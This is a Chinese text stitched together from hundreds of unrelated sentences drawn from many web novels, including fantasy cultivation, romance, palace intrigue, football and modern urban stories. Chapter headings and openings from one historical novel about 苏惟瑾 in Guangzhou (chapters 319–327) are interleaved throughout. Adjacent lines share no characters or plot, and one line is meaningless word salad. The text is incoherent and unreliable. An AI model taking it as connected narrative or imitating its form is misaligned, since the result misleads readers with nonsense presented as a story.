大约三四十分钟,车子就到了地方,不过,让吴凡预感不妙的是,家门口停放着秦雪的车子,可唐豆豆的那辆蓝色兰博基尼却不在了。
梅君悦却没有心思去看那些美景,下面撕裂得厉害,痛得他走路都带了踉跄。
另一个盘子里还盛着一块厚厚的牛排,艳红鲜嫩,还带着些血丝浸在酱汁里。
“我不是吩咐了让人送鸡汤馄饨来给你们的吗?”古陌皱眉。难不成有人阳奉阴违?连自己的吩咐都敢不遵从?
司徒流风的到来,刘家一家人都把他当做了贵客。毕竟家里人都明白,云香这个弟子的身份是很有水分的,像刘成双和周氏这种老实人自然就觉得从心里亏欠了人家。
“你们继续,继续!”吴凡有些不好意思,拉着棠朵朵就赶紧离开。
朝廷希望这些边疆的百姓能够更加尚武,但却也不希望局面不受控制。
故,她也没有注意到朱篌照的出现。至于那时空仙子陈玥琦自然是正在聚精会神的施展法术,防止时空出现扭曲,以免发生祸害人间的情况。
让他来是为了要借助他的势力,还有要看看他一起合作的诚意,而不是请他来这看戏的。
唐笑说完都恨不得咬掉舌头,她找的什么烂借口,直接说我想撩你,不就完了。
对方胸口处本来平坦的肌肉,在同一时间,就鼓胀起来,宛如炮弹轰出,无穷力量挟裹着自己的拳力,反扑了过来。
“就去那。”松田并不给灰原拒绝的机会,连同被子把她从床上抱起来,朝着楼下走去。
傅景感觉此地不宜久留,再待上三秒钟,他怕自己忍不住会揍她。
吴海燕也震惊地看向夏志强,似乎难以相信这句话会从他的口中说出来,她的眼神从最初的错愕,逐渐演变成愤怒,以及委屈。
宁静依然没有说话,就是这样躺着,没有任何的反应,仿佛对外界屏蔽了。
警方将尸体运回了警局,之后,他们打电话告诉了容天成,说让他来认亲。目前,容天成还是不知道那件事的,所以,他也是满心的惊讶。
一直工作到晚上十点,本以为把这段时间工作理顺,BOSS就该回家休息了。
??她知道叫不停杨林,离得这么近,却能感觉到眼前此人身上无俦杀机。
王超闷哼一声,尾椎一震,脊背震荡着,宛如游龙升天,双手如蛇,绞缠着结成蛇吻,似拳似枪。
前几句话,都是夏老太太骂夏初然的原话,白嫂听多了能不记住吗。
“或者说,我们只是不想增加一些敌人了。”幸村的话听着不太好,意思是合作他们还谈不上,不够格,却也是事实。
“的确,我看得出,他并不是全心,也不是非她不可,估计再打个两次,他就差不多了,”慕容睿摇头感叹。
第319章 南疆暗流涌 京华耳目动
就在苏惟瑾于广州城夜探龙王庙,追寻杜瞎子踪迹的同时,千里之外的云南,又是另一番暗流汹涌的景象。
滇南,木氏土司一处隐秘的山间别寨。
篝火跳跃,映照着几张阴沉的面孔。
空气中弥漫着草药焚烧的刺鼻气味和一种难以言喻的腐臭。
主位之上,一名身着繁复诡异纹路黑袍、脸上涂抹着彩色油彩的老者,
原本阐教也应该有劫,但是现在玉鼎身怀大功德,又是人族圣师,享人族气运,那就是一个活动的镇压气运的灵宝,阐教门人又不多,原始挑人极严,这样阐教却是气运大涨,改了天数,大劫也变的没有问题。
项如一边往舱室跑,一边往船外张望了一眼,发现远处的天边有黑压压的乌云压了过来,海面上,波浪也有渐渐加大的趋势,海浪扑到海船的外壁上,瞬间粉碎成无数的浪花。
而场地铺设成白色,绳子中间,捆绑着红色的布条,两者间,都有一个距离,只要中间的布条,在哪边占多,则判定是那方胜。
虽然以易嬴身份,不必对闵江氏做什么多余的搀扶动作,可在看着闵江氏登上马车后,易嬴却也一脸严肃地转眼望向了旁边的师爷冉奇。
“是又如何!”傲晨大手一挥,一柄崭新的龙形长剑再次凝聚而成,双眸紫电连连,威势增加了不止一筹。
项如猛地警醒过来,他现在所看到的一切,究竟是不是在做梦,都还没有一个定论,他还有心情浪费时间在这里胡思乱想,真是罪过罪过。
卡莱马蒂壮着胆子问出了这句可算得上大逆不道地话语了,龙神的姓名不是可以轻易提起的。就算要说出,也必须加上伟大,神圣之类的前缀,以示对龙神的敬意。
京城依如往日的繁闹,灼灼的骄阳晒黑了人的皮肤,酷暑接近尾声,天气就变得更加燥热。摩肩接踵间,总是时不时闻到各种各样的汗臭,狐臭,让人作呕。
至于什么大脑的利用率只有5%的,看起来言辞凿凿的,但却不过是个谣言,没有任何的科学依据,只不过是人类虚荣心的一种体现罢了。
将李家人都支走,要给容郡王放血,这当然是大不敬,甚至可以上升到人身伤害的高度。
而且,在此地,体内流失的真元是无法通过吸收外界灵气恢复的,只能通过丹药、灵果补充,而且效果会大打折扣,难以恢复。
谁都知道,周安将要接康隆基的班,其还不是一般意义上的要成为大总管,而是要追赶康隆基的身份地位,现在就已经极为接近了。
但却得销毁尸体,那些尸体是信息源,一旦被丘比回收,它们也就能够得到这一部分丢失的信息。
而且对于架构配方这种东西,其实他自己并没有太过渴求,他知道自己凭借系统能获得的配方数量会远远超越任何一名灵植师,所以陈韵阳又是自己人,共享一份配方对他来说也是无所谓的事情。
李庆元看似粗暴的炼丹,步骤却没有一丝一毫的缺失,挥手之间,更是行云流水,手法羚羊挂角,让人感悟颇多。
封建王朝是不可能允许这种东西存在的,因为这东西只要稍有发展,便足以威胁皇权。
到了后面,他被轰的浑身如同焦炭,一头白发炸起,冒着黑烟,个别部位还有白骨茬露出,可怖至极。
第320章 鼠目窥隐秘 暗夜交接情
烂泥渡的破败龙王庙,在胡三布下的“天罗地网”下,已然成了一个透明的戏台。
灯光照耀进来,神奈天的脸半明半暗,有种不安的气氛萦绕在两人心头。
她原以为十拿九稳的事情,却没想到是这样的结局,这样一来,她回去不知道该如何和刘父交代,更加严重的是,她的家都可能整个的毁掉了,而且是被她给亲手毁掉的。
没有了半神级的超级强者,精灵势力的超阶虽然还是不少,却已经没有了影响战局的能力了。
柒柒坐在他对面,忍不住偷笑。唐珏原本是对此相当的不满,可是,看着对面的她,笑得如此开怀,又终觉这样不舒坦的坐着也值得。
像凌曦这种,在丹田孕育位面,可说是轻而易举的事情,哪怕如白米饭要同时容纳两个位面,那也是由七步强者给搞定了,自己只需要去滋养便可。
现在我跟颜如玉的关系,我在自己都不清楚了,我是孩子他爸,她是孩子他妈,可是我们并非恋人,也不是夫妻,这种关系理解起来是很让人蛋疼的,而且你也理不清楚,所以我索性就不去想这个问题,省的想多了头大。
玛丽自然是明白陈星宇的意思,在教练的一声惨叫声中,已经折断了他的一节手指。
秦陌寒扫了一下弹夹上的残余,手摸上了光剑,正考虑是不是要下光甲,就见透视口前一只正冲过来的战虫往旁边闪了一下。
可是拿起来我摁了一下,手机屏幕并没有亮,我试图开机,也没反应。想来是没电了。
这一招从天而降的剑法一出,纵横无匹的剑气弥漫而出,将周围射得千疮百孔,满目苍夷。
而不是像称呼卡梅隆、斯皮尔伯格、盖茨、巴菲特那样,用姓氏来指代。
但天门道长贵为泰山派掌门,还是强行稳定住心神,一招“五大夫剑”刺了过来,剑招如同山间苍柏,剑意盎然,古朴大气,藏有诸多变化。
不要说谈家的根基在京城,就算谈皇后不受宠,可是那也仅限于他们这些人知道,陛下对皇后还算是优待的。
同一个时间段里,无数个行业的无数家公司在一同发展,每分每秒都有着海量新闻狂涌而出。即便是总盯着股市发展的金融行业,也只能是以他们专业的角度看待各行各业的发展,而对那些具体的影响了解有限。
“你们远远地跟着我,别靠太近!”马克边跑边向后喊道。此时他正在秘境的西面,自然不会放过飞往西部那头恶魔兽,这不仅代表着一万分,更是他在相对安全的环境下挑战高级恶魔的一个机会。
发言人的回答语气和缓却言辞犀利,着急冲到前排的佐伊-巴恩斯意识到自己的失误了。就在她冲到前方的过程中,有不少乱喊的提问也都是集中在合作事宜上,她被那些该死的同行带跑偏了。
而陛下呢?生怕他先回到家中,父亲将此事告诉了他,他动了别的心思,坏了事……所以一回京就叫他先入宫来,旨意派下来,他敢不遵从吗?
第321章 暗访得线索,矛指四海帮
烂泥渡龙王庙里的杜瞎子,依旧每日醉生梦死,仿佛那夜与黑衣人的密谈从未发生过。
但苏惟瑾心里清楚,这老瞎子就是一根拴着长线的鱼饵,线的那头,必然连着一条甚至一群意图不明、能量不小的“大鱼”。
其实后半句话才是凌思齐真正想说的,把他的两个通房与儿子表侄安排在一个院子,那到时候他去她们屋里过夜时,岂非连声音都不敢大一点儿了?
“为什么可以省略?”辰星本来听说坚持三天就可以,心不免高兴,连忙问道。
“我刚才是随便说说,等拍完了我们在回去!”她在想离开还是要考虑到现实。
“是的,请大师指点。”辰星真的很想知道芳芳的去向,很诚恳的问道。
辰星一步步后退,直到靠在巨木上,脸色苍白到了极点。仅剩的两只巨狼几乎是同时扑上来的,看着那血盆大口,辰星深吸一口气,双脚在巨木上用力一蹬,身体顺势向两只巨狼串去。
骆志远如此深藏不露,如此不显山露水,让卡特里娜无比的震撼。
骆志远的脸色非常冷漠,声音低沉。杨柳没有主动向警方提起指控,导致他很被动,让他觉得很是失望。
风铁翎和蓝玉势不两立,可听这沈鹏言语间,似乎和蓝玉又颇为熟悉。此二人如此的谈笑风生,朱权和徐瑛眼见如此一幕,不由得面面相觑,完全摸不着头脑。
这个时候正好已经到了他的公司,司机下车为他拉开车门后,又跑去为夏咏宁拉车门。
录音机转了一会,突然从里面传出清脆而惊怒的斥责声,明显是杨柳。
龙驹甩了甩脑袋回到朱棣身旁,待他抱着张林浅翻身而上,它已风一般地急掠而去。
那些人看来也会慌乱,他们一下各种动作都不顺畅了,缺少铠甲的防护,哪里挡得住何明手中神兵?只见剑光闪过,立刻两名敌人被从中斩断。
所以,诗雅能报上,陈默想是不是因为她之前的成绩优秀,又或者报全程的人数不多,所以她直接报上。
廖询及时一张火符朝这个半兽人飞了过来,半兽人赶紧停下追击的动作躲了开来,而孙季没了武器只好朝廖询这边跑过来。却看到那荧光闪闪的宝剑落在了何明身边。
更让胡湘心里不舒坦的,是中午下班何苗跑过来找迟莞一起吃饭。
“雨奈,你的异能是怎么觉醒的?”肖煜辰有些迫切,虽然并不知道自己为什么会想要追寻真相,但他就是问了出来。
在他们三人的身后,那香海居的鱼雁二使沈沉鱼与凌落雁二人,此刻都已祭出了各自的法器,准备作战。
诗雅不自觉的坐上他拉出来的那把椅子,想着他们之间的相处模式,总觉得有些微妙的让人看不懂他们之间的关系。
这附近可是他时常蹲点的地方,别说幼儿园的名字,这几条街的每一家商铺叫什么名字卖什么东西,他都一清二楚。
但是,对于陈默而言,他很怀念曾经,那是有她的那段时光,在他的生命中格外深刻,不曾忘记,也不会忘记的一场邂逅。
全身散发金光的齐哑巴在遭到尹诺奋力一创时仅是晃了晃身子,嘴角虽有一丝鲜血流出,一晃之后却依旧纹丝不动,然后,他微微一笑,露出染血的牙齿,显得更加狰狞。
第322章 夜探四海帮,惊见番商影
驿馆内,灯花噼啪轻爆。
苏惟瑾听完了周大山和俞大猷带回的消息,手指在粗糙的木桌面上缓缓划过,仿佛在勾勒那看不见的敌人轮廓。
“四海帮……‘混江龙’李魁……”
玉石老板下意识的看了一眼卫鹰,显然是希望他能帮忙说点什么。
又坐回到椅子上,一边拿起锦盒上,所摆放着的密信,先慢慢的拆开后,一看到密信内容,这才是真的明白,那阎君法诏意思。
莫凡送走柳白等人后,眼见着大学就要开学了,不过大一结束时莫凡总觉得林晓晓是把他算计了,也不知道这次开学之后会有什么新的教学模式。不过就见招拆招吧,一个学校莫凡觉得应该没什么人能真正威胁到自己吧。
毕竟,那些应该携带的物品,早在昨天晚上就被王志燃塞进腰间的便携黑洞里了。
起初他还真卖了十二块木牌,换得了对方口头上允诺的天价:二十颗世界果。
但是面对战场上的兵力上万的建奴溃兵,岑少民和尤大贵又无法抽出兵力进行追击,毕竟战场上的汉威军铁骑兵力并不富裕,二人只能眼睁睁的看着阿敏率领残兵败将消失在了自己的视线里,徒呼奈何。
可林枫又没有完全证道,天道觉得林枫完全是故意的,心怀恶意,特 码的洪荒哪个圣人不是追求不死不灭,为了达到这个目的,明着出手,暗里甩手段,还少么?
玉灵已回到人间,也有十三天时间,还在医院的玉灵,在这苏醒几天,就把魂入地府时,和于贵缘的重逢,是一点没有隐瞒,去讲给自已父亲,和夏冥灵三人。
王志燃苦笑一声,因为自己内心的想法,又被十三给无情地说了出来。
他贴合自己的经脉,为自己做了一副拳套。它可以激发狄煜手掌和手腕的穴位,能瞬间硬化与力量的暴增。
没想到因为自己的练功行径,竟然在不经意间破坏了漠漠的一个重大连环隐藏任务,可能后续的奖励是一本绝世武功,也有可能是神器、魔器之类的东西。
箫音一改之前的高昂慷慨,变得幽怨低沉。箫音如泣如诉,似在感怀红尘之苦,又似留恋人间红尘。
周若拘谨羞怯的点了点头,卸除了最后的伪装,那傲气儿便不由黯然了一些,她眼眸一转,落在沈傲的手背上,满是关心的道:“表哥……沈傲,你的手怎么受伤了。”她不再叫表哥,已经开始慢慢适应角色的变幻。
彩衣门的实力首次得到了更多人的认可,就连峨嵋派糯米的师姐们也被眼前惨烈的情景和一筒的护体能力折服。
说话间,胖七婶竟真的从围裙里挑出了一把重达两斤的锅铲,直塞到山羊胡瘦子的手里。
汗,好像他们来的不是时候,今天是九一八,悲剧鸟,老虎痛并乐着。
早餐仍旧是原先的煮倭瓜粥,所谓倭瓜,便是南瓜,禁军早就厌倦了这种食物,偏偏这清早的练,让王大胆饿极了,已是顾不了其他,便要狼吞虎咽,还没有起筷,队官周楚白就瞪了他一眼。
如果当初醒来的时候,我便放他离开,他是不是不会因我而受那么多苦?
第323章 密查圣保罗庄,惊闻活人试药
驿馆内,烛火摇曳。
苏惟瑾指尖在粗糙的案几上轻轻叩击,发出笃笃的轻响,仿佛敲在无形的棋局上。
周朝得势不饶人,如水银泼地般的以更加精巧的剑技罩向了韦勒斯拉纳。
陌刀军网一出阵,便迎来了排山到海般的大食骑兵冲锋过来,先便是铺天盖地的短矛呼啸投来,锋利的短矛射不进陌刀军的重甲,他们紧密地排成了人墙,用一种集体的力量抵御大食军的第一波冲击。
若生微微颔首,淡淡发话让吴妈妈不必在这伺候,只管下去准备,立即送雪梨出门。
而此时,外界的一切,包括罗锁、乾辕、赤血等兄弟。破天、啸天等数万玄霖派弟子。
李浩早上回校一趟,以后这么长时间不在主世界,肯定要和学校说一声的。
杨潮不知道的是,朱媺娖其实是心冷。这十天的接触,她感觉到了一个真实的杨潮,一个懂得关心妻子,十分真诚的人。
除了白宇之外,其他七名渡劫后期的白宇战团的成员,也全都是白家的人,陈云相信,他们的钱不能少了。
周朝手中的法机有三部,一部是里面封印有一个通用式清洁魔法和一个通用式防御魔法的法机,两部是里面没有装载过任何程序的空白法机。
顿时间,周朝脚下的地面一震。如同发生地震一般剧烈晃动起来。连带着周朝也跟着身体轻轻一晃,重心发生偏移,暴露出了一个短暂的空隙。
摄取了七大界面九九八十一种真灵级别与妖族精血,与七大界面七七四十九个高阶人族精血,准备祭炼出一件绝世之宝,据说成功后可以横扫七届。
如今的实力已经是四级武者了,想想他爹就是打铁的,常年打铁都没有如此力量,严格来说,青修已经具备了五级武者的实力,就是放眼整个“武道学院”也没有几个同龄学员可以和他比。
“我本来也是不喜欢喝的。现在变成不喜欢,不是很正常吗?”悦笙淡淡的说着,没有去看景陌此刻有些不悦的表情。只是看着前方,想着此刻该去哪里。
不过既然能和星月多呆在一起一会儿,也已经足够了。看到星月清理完一处岩石上的积雪后,又开始清理另一处,玉蛛也索性从手中激射出蛛丝去荡开别的岩石上的积雪。
“这些伤势是怎么回事?”郑西源皱着眉头抚摸着林雨浔肩头的伤疤。那并不是这几天的新伤。因为并不是刀剑或者魔晶枪造成的。更像是……更像是棍子等东西击打而成的。而且似乎有一些年头了。
“娘娘,臣有话想对楚姑娘说。”他突然道来一句,冯昭仪迈进宫门的莲足停住,微微颔首便进了关雎宫。
幸好没有贸然上前,骨骸还未落地,只见吞云豹就一仰头,口中喷出一道雪白的光芒,将那骸骨烧了个干干净净不留一丝痕迹。而后,眯着双眼,一脸嘲讽的表情瞪着远处的宋涛。
为了孩子,我如今可以放下一切,为什么就不能为了孩子,留下来。
“妈的,居然和昨晚的内容一模一样,连一个字、一个标点符号都没错,真是邪了门了!”吴迪心中暗骂,他看了一眼身边的杜经理,只见他貌似极其认真的听着,好像他没有听过似的,吴迪也不想打搅他,就继续的听下去。
第324章 雷霆扫妖庄,惊鱼漏网去
圣保罗庄内传来的活人试药、私研火器的消息,胜似两把烧红的烙铁,狠狠烫在苏惟瑾的心头。
怒火在他胸中翻涌,但超频大脑却保持着绝对的冷静,迅速推演着各种可能。
“不能再等了!必须立刻行动,以雷霆之势,捣毁这魔窟!”
一番搜寻之下,名为辽叶的中年修士,点了点头,深吸一口气,望着目光远处,一个土坡上。
尽管突围出来,处境安全了,心中却始终高兴不起来,哪有心思听梦云说什么。
就在这时,耳边传来轻不可闻的脚步声,苏木屏住呼吸,目光满是寒意,望着自己之前走来的那条路上,不多时,七道身影,便出现在目光之中。
翎泉一向都是沉默寡言,但却是极为的细心谨慎,对于周围的一切,都是特别的关注。这一切也是源于他曾经的职业。
此事,在大家心里就这样告了一个段落,总比那些亲人去世的强。
深吸一口气,睁开眼睛的苏木,目露感激的望着李明雪,到让对方有些疑惑起来。
可是她没有抓住任何一片梨花花瓣,她闭眼沁出泪滴:这是老天在惩罚我的犹豫让我得不到延钟和迪智任何一个吗?
一开始我还以为是错觉,可是随着鬼气越来越浓,我心中有了怀疑,这双黑色大手的主人莫非是阴间的某个存在?可是,如果光是一双手就这么大,而且这么强,那这本事,不是还在十殿阎罗之上吗?
然后程延仲用手绢包住她的脚说:“如嫣的脚秀美,惹得夫君自私了,不愿让他人看见。”之后,程延仲抱起脚痛不便走的曹如嫣走向东厢房。
温鹿鸣抬头呆呆地看着那些烟花,心里凄然:他对白云暖的爱是不是也如这烟花的命运,美则美矣,却转瞬即逝,想抓都抓不牢?
他们两个猜的不错,在他们不处,有一个洞口完全被藤曼覆盖的山洞。莫渊就藏身于此,而在他隔壁不远处,还有一个山洞,任威勇就藏在那里。
孟窈窈这回彻底地收声了,她开始明白延徽和他的梅子表妹都是遗传得很彻底的没心没肺之人。
翻了一下朋友圈,以前那个经常喜欢在朋友圈里晒丝袜腿的妹子孜孜不倦的还在分享着,每次久材最喜欢看的就是她了。
“不许你的筷子碰本世子的碗。”慕程绷着脸像座万年不化的冰山。
只是没想到,两年后的第一次见面,张倩又喊久材去这里吃饭,而且还表现的很喜欢这个地方的样子。
“夫人?”锦屏有些讶异,这么久以来我还是第一次主动要求去他的寝宫见他。
“怎么样?有什么新线索?”易洛一直等着外出打探消息到深夜才回来的白泽。
“马上把朱雀找回来,这是西戎,不是天都。她四处乱窜就不怕打草惊蛇?”慕程皱眉,负手走到了楼上的三号房。
所以对阴鬼道的长老们而言,他们自家宗主对局势的分析,还不如我这个六道盟主的判断可信?
白泽见易洛将身上的衣服拉得更紧了些,于是他又变幻出一件更厚的连帽斗篷为她披上。而正当此时,易洛突然发现,就在他们结界的前方出现了一座巨大的雕像。
“丫头片子,你来啦!”掌柜一见到带着面纱的她,兴奋的像打了激素。
不过雪兰也能够了解,蒋柔之所以这番做戏的原因,现在的蒋柔正是高三的学生,马上就要面临高考,若是徐俊从中捣乱的话恐怕会搅乱她的全盘计划,所以才不得不和徐俊虚以委蛇。
就在起夜的侍从,将要到达茅房之时,清源从侍从的身后,伸出手臂,我煮了侍从的嘴巴,随即便拖入了身侧的草丛之中。
希瑞两人是坐着马车过来的,给凯拉家人的礼物也随着马车带了过来。
苏玲珑懊恼,脸上不停的的变换着表情,殊不知某爷已经醒了,正饶有兴致的盯着她看。
教导大队所处的路段后方,出现了大量的国军,头戴钢盔,身着粗布军服,光脚穿着草鞋,来着不是别人,正是教导大队身后的新二十二师第六十五团。
大家都知道轮回眼是三大瞳术之一,被称为“掌控生死之眼”的最崇高瞳力,是起源于查克拉始祖大筒木辉夜和神树查克拉果实的究极瞳术。
“听荛见过姜妃娘娘,凉才人,尚婕妤。”杜听荛一副乖顺大方说道。
暗卫们面面相觑,满是同情。冷这位一哥,脑子都不知丢哪去,有这种暗卫一哥,是他们的不幸。
不过,上面说到的这些东西几乎不存世,但是不怕一万,就怕万一,到了帝尊这样的层次,谁都不想被这种下三滥的手段给弄死,所以,一定的防护都是需要的。
听到唐若漓发出的声音,脑袋有些发沉的苏木赶紧摇晃了一下头,再看唐若漓,虽然也是轻纱遮面,可单从那漏出的双眼上看,并不是郑素素。
慕芷柔顾不上其他,因为此时识海给她的痛苦,才是最为要命的,尤其当秦奋的神识强行落于识海中之后,整个大脑都传来一阵撕裂般的痛苦。
在那一刻,他感觉,自己突然能够控制自己的身体了,而这个时候,他也突然明白了,无相天魔真正的厉害之处,在哪里。
乐颜注意到了刘玥瑢闪烁的眼神,勾唇淡淡一笑,这笑容竟似有魔力一般,似突然绽放的火红玫瑰,迷人极了,令周围的人都微微一怔。
不光二爷激动着发泄着情绪,在苏木和县主懵逼之际,其余之前在院子里面的有头有脸人物也找到了机会宣泄,纷纷跳起来大喊大叫的。
第325章 将计就计擒刺客,账册惊现
就在圣保罗庄那边杀声震天、火光冲霄之际,广州城西郊,
另一处看似不起眼、实则戒备森严的院落,却静得有些诡异。
音乐响起,是浩岚弹的吉他乐,但和其他吉他乐不一样,浩岚弹的格外柔和。像湖水一样静谧,如蓝天白云一样轻柔。
“老大。你不会告诉我,你破不了这阵法吧?”道怜终于注意到我的脸色,惊讶的问道。
莲姓公子还未答话,一旁的另一位少年便跳了起来,头点的波浪鼓一样,一看便是性子跳脱。
冰兰定睛向四周望去,只见身边光线极为昏暗,只隐隐约约有烛火摇曳,在幽幽岁月中默默起舞。只勉强看清楚这仿佛是在一个洞穴内。
承便是已然断定了此人乃是当初在得羽族旧址之外的那位神殿骑士皇天无上。
冰兰猛然惊觉!现在所看到的一切,都是假象!都只是为了掩盖随地下暗河一起汹涌流淌的鲜血与枯槁。
虽然复生之后因为功法原因有些变化,但是除掉那些脸上的血纹,她那张属于属于岑青青的脸孔也是非常漂亮的。
丹药在人域算不得太珍贵,因为有不少人都懂得采集灵药,熬炼灵药。
“老公!你们在说什么呢?这么严肃?”另一边,治疗烟鬼毒完毕的王月回到了众人身边,正看见何熙在和白泽激烈地探讨着什么,而白狐,沙狐还有尸王都一脸严肃地站在旁边,看样子情况似乎有些不妙。
这两兄弟是出了名的见财眼开,所以凯奥斯从他们的话语中就断定,他俩一定又贪财了。
第六十九分钟卢克肖同阿扎尔踢墙配合后突入禁区,但是克里希托立刻凑上去防守,卢克肖直接摔倒在禁区之中,不过这一次裁判阿特金森还是拒绝判罚点球。
斯布雷斯似乎也有些紧张,牢牢地盯着暂时还没动作的赞加拉尔。
水里的资源一点都不比陆上少,甚至在某些方面还更加的丰富,然而,在水资源这么丰富的地下世界,真正会去打水下主意的人却少之又少。
嗖!的一声,叶一飞整个身子瞬间被光罩吞噬,一同进来的还有大量的泉水。
“走,会会他去。”兰登眼睛冒着光在老王的带领下进入那个侧院中,向着一间房子走去。
Jessica也是听得心头一震剧烈的颤抖,浓浓的甜蜜感涌上心头,当她想说些什么的时候,嘴唇已经已经被人吮吸着了,根本没有说话的余地。
立秋后,褪去了夏季的燥热,空气中开始带着丝丝凉意。
“这么多年,云家作恶多端,也就应该这么完了。”夏元说完他手中的飞刀划出一条长长的银白色的弧线。
巫焰脚掌跺地,身体赫然迎上,然而他的速度终究还是慢了一步,被殇抢了先,殇握着铭牌的同时,一掌震出,而这时巫焰的燃火的拳头已经轰出。
两头仙尊境界的镇墓神兽,与一位成名的仙尊强者的对决,那场面已经不用言表,一瞬之间,便是仙能如潮,激荡千里。
林荒嘴角轻轻的抿了一下,没有对李婷多说什么,但心里却是沉重无比。
天威不可挡,雷劫的恐怖让距离百里的祁家众人心神颤动,祁琪望着力抗天雷的黑影,眸子中熠熠生辉。
干这个找工作感受感受香港打个赌大概都好好的好的好的大宝贝。
“对于星云谷你了解多少?”江东羽问道,他初来乍到,而八国之人来到这仙道遗址却已近两年时间,知道的自然会比他多。
坐在茶楼里的各国皇子公主在看到举着横幅游街抗议的一队百姓后,静观事态发展。
在林琳慈祥的目光中看着叶寒,叶寒严厉地点了点头,“别担心爸爸,两只低等魔兽!”与此同时,林的脸上出现了一张坚决自信的脸,这让林感到有点宽慰,停止了咳嗽。
薄欢勾起唇角,扑哧笑出声来,继续搂紧怀里的男人,不肯松手。
“夏夏,你是我最好的朋友,你超过赵沫,我爱你胜过爱我自己,你明白吗?所以我不会害你的。”杜心茹笑着对童夏说道。
庄蝶舞心里想,四爷出来,有人得以为他华颂幕后老板,秋婍是放台面玩玩?四爷确实在幕后,还有人不停折腾,什么婚礼要咋地。
说起来,那应该是我人生中第一次直面这种事,该如何形容当时的感觉呢,唉……时隔多年,已经记不清了。
裴凤祈本闭着眼睛似乎睡着了,听他一喊,缓缓睁开眼睛,神色间带着一丝慵懒,伸手撩开马车,只见天际间染上暮色重重,又夹着雪,看不甚清,耳边唯听见马蹄声急。
“唧唧——”就在这个名字有点找不到目标的时候,忍者学校那边传来了尖锐的唧唧声,一串长长的烟雾从下面直直地升上天空,最后一声剧烈的爆炸——这是木叶耀斑的一种信号,也是毕业生们早就约定好的信号。
第326章 珠江口火攻破夷,显锋芒智慑番
苏惟瑾恩威并施,刚将广州知府钱文明收拾得服服帖帖,
还没来得及细挖那账册直指京城的惊天线索,新的麻烦便如同珠江口的潮水般,汹涌扑来。
虽然刘洋那一巴掌是刘洋自找的,但也算是为自己挨得,所以林峰得帮他找回来。用他的话说,他不喜欢欠人的。
他先是把林峰骗回老家,让他在金华和蓉城之间来回折腾一圈,然后又安排枪手镇守大楼,就算林峰是神,一路杀上来也得精疲力尽。
“大个是耿直,又不是没脑。倘若真有那么一天,我相信大个会替我辩解的。”永强回道。
“你还真学的有模有样,有点儿镇上黄半仙的架势。至少这个卖关子的本事学得挺像的。”铁牛揶揄道。
王泽平暗自盘算了一下,就算是花费多一些,一套房子的建设成本在十万好了,那么,两亿五千万的话,全可以弄一个两千户的村子出来,可是远比自己以前设计的还大了一倍。
各处旅馆酒店早已没有空房,还是程齐有先见之明,早就派人定了一套农庄四合院。
永强好奇的把剑拿到眼前观察,只见沾了黑袍老者血的剑身, 跟磕了药般,开始变化不定,时而增长,时而增粗,时而扭曲,同时释放出强大的黑暗气息。
李凤颖身体一动不能动,只能用眼睛表达自己的惶恐与惊愕,她显然无法理角叶一绝为什么会对她出手,而且还是下死手。
再细细一想三个地方贯通之后的情况时,王泽平也不得不赞叹上层领导们的厉害,一下子就看到了那个地方的重要性。
“你是魔法师吗?”山村贞子捧着那只七色甲虫开心的瞅了瞅,然后这才抬起头对着康拉德问道。
她明天就能出院,现在也没什么问题了。况且vip的待遇良好,有什么问题都可以直接通知护士,根本不需要多余的佣人。
其间他没有抽烟没有打电话,就躲在路灯的死角处,就像根本不存在一般。
当她艰难的踏上二楼,客厅里年轻男人老神在在的坐在沙发上,抽着一闻就知道很廉价的香烟,正目不转睛的打量着她,目光中有着不符合年龄的锐利。
按道理说,类似遁甲狂犀这样级别的妖兽,在南辰雷泽里,也是不多见的,都躲在某个地方,慢慢吞吐天地灵气,壮大自身。
现在种下去,一是为了让他们劳动起来,不要花时间去胡思乱想,总是想着造反的事情;二是想要为后期的粮食补上,光靠外面的支援是远远不足的。
二人商量完,李泰也不敢多待,怕招惹怀疑,在萧平的护送下,匆匆下了山。
创新科技这边早就得了消息,会计师事务所会派人来查账,早就已经提前做好了准备。
但惊叹归惊叹,可凭此,他可不认为,萧平有能力,在剩下五个半月,追上凌婉怡。
曾经那个高高在上,坐在主位上的人,变成了自己,而曾经那个卑微的跪在下首的人,换成了李嫣然。
阿水父亲独自靠在窝棚的台阶上抽着烟,眼睛愣愣的盯着海面,烟头一明一灭之间,东方逐渐浮现出一抹抹鱼肚白。
她刚才正在琢磨洛倾月的目的和心思,想了大半天,都不知道洛倾月为什么要把她抓来这里。
最后离开林深深病床旁的那个医生,抬起手顺便拨动了两下林深深的输液管,将输液的速度稍微调的慢了一些。
“通通赶走!”这边已经够乱了,那些讨厌的人,他一点也不想看到。
“我不爱他,没有爱,怎么能结婚呢?”苏珊为自己找到的理由沾沾自喜。
五年前,他路过封天洞,遇到了原先的草包洛倾月,才知道洛倾月体内早已换了灵魂。
锦洋并没有进公寓,只是把东西放在了玄关处,就转身,重新走进电梯,一路下楼。
“这便好。你是另外我还有一事想与你商量下。”慕容飞鸣声音放低了些,想来应是比较隐晦的事情。
夜倾城一愣,眨了眨眼,好半晌才回过神来,他在问什么,低头一看,只见自己全身上下全是青青紫紫的吻痕。
侍卫犹豫了一下,想到对方毕竟是六公主的驸马,还是向一旁闪开了身子。
锦洋愤愤的想着,就忍不住的转了身,冲着洗手间走了过去,想要抽根烟,压制下去自己莫名其妙被林深深又轻而易举勾起来的起伏情绪,可是走了两步,锦洋却又停了脚步。
“此乃大汉都城,可不是你撒野的地方!”史阿目光一冷,厉声喝道。
“有些好奇呗。”萧羽音瞪了他一眼。知道吃横醋就好。她好办一点。接下來的事情。明明知道他想玩听什么。她就真的不打算说。也不能说。
机械人等级不高,自身也有损伤,然而黑甲战士,是魔树操控的生物中等级比较高,战斗力比较强悍的。
谁说的仰着头,眼泪就不会掉下来。这满脸的泪水,流下来的还少吗?
甚至在他走了以后,这股汗臭还留在那里,这成了他生活紧张的无言证明。
可是那时候的奈何只剩一副奄奄一息的身体和一颗千疮百孔的心。
第327章 定规慑夷商,放线钓巨鳌
珠江口那一把火烧得痛快,
不仅将葡萄牙人的几艘武装商船烧得灰头土脸、仓皇逃窜,
更是将番夷那点仗着船坚炮利便在中华地界耀武扬威的气焰,烧掉了大半。
这还真是怕什么来什么,最先反应过来的自然是红娘子。在场的所有人当中恐怕也就只有她心里最有数了。
可以预见,没人阻止的话,大汉必定也会变成一具泡胀的尸体,在几天之后被人从亭石河的某个地方打捞起来。
紫翼看着云梦萝那俏丽可以的样子,不由得挑了挑眉,心中痒痒的,忍不住再次俯下身去,在云梦萝的唇畔轻轻地啄了啄。
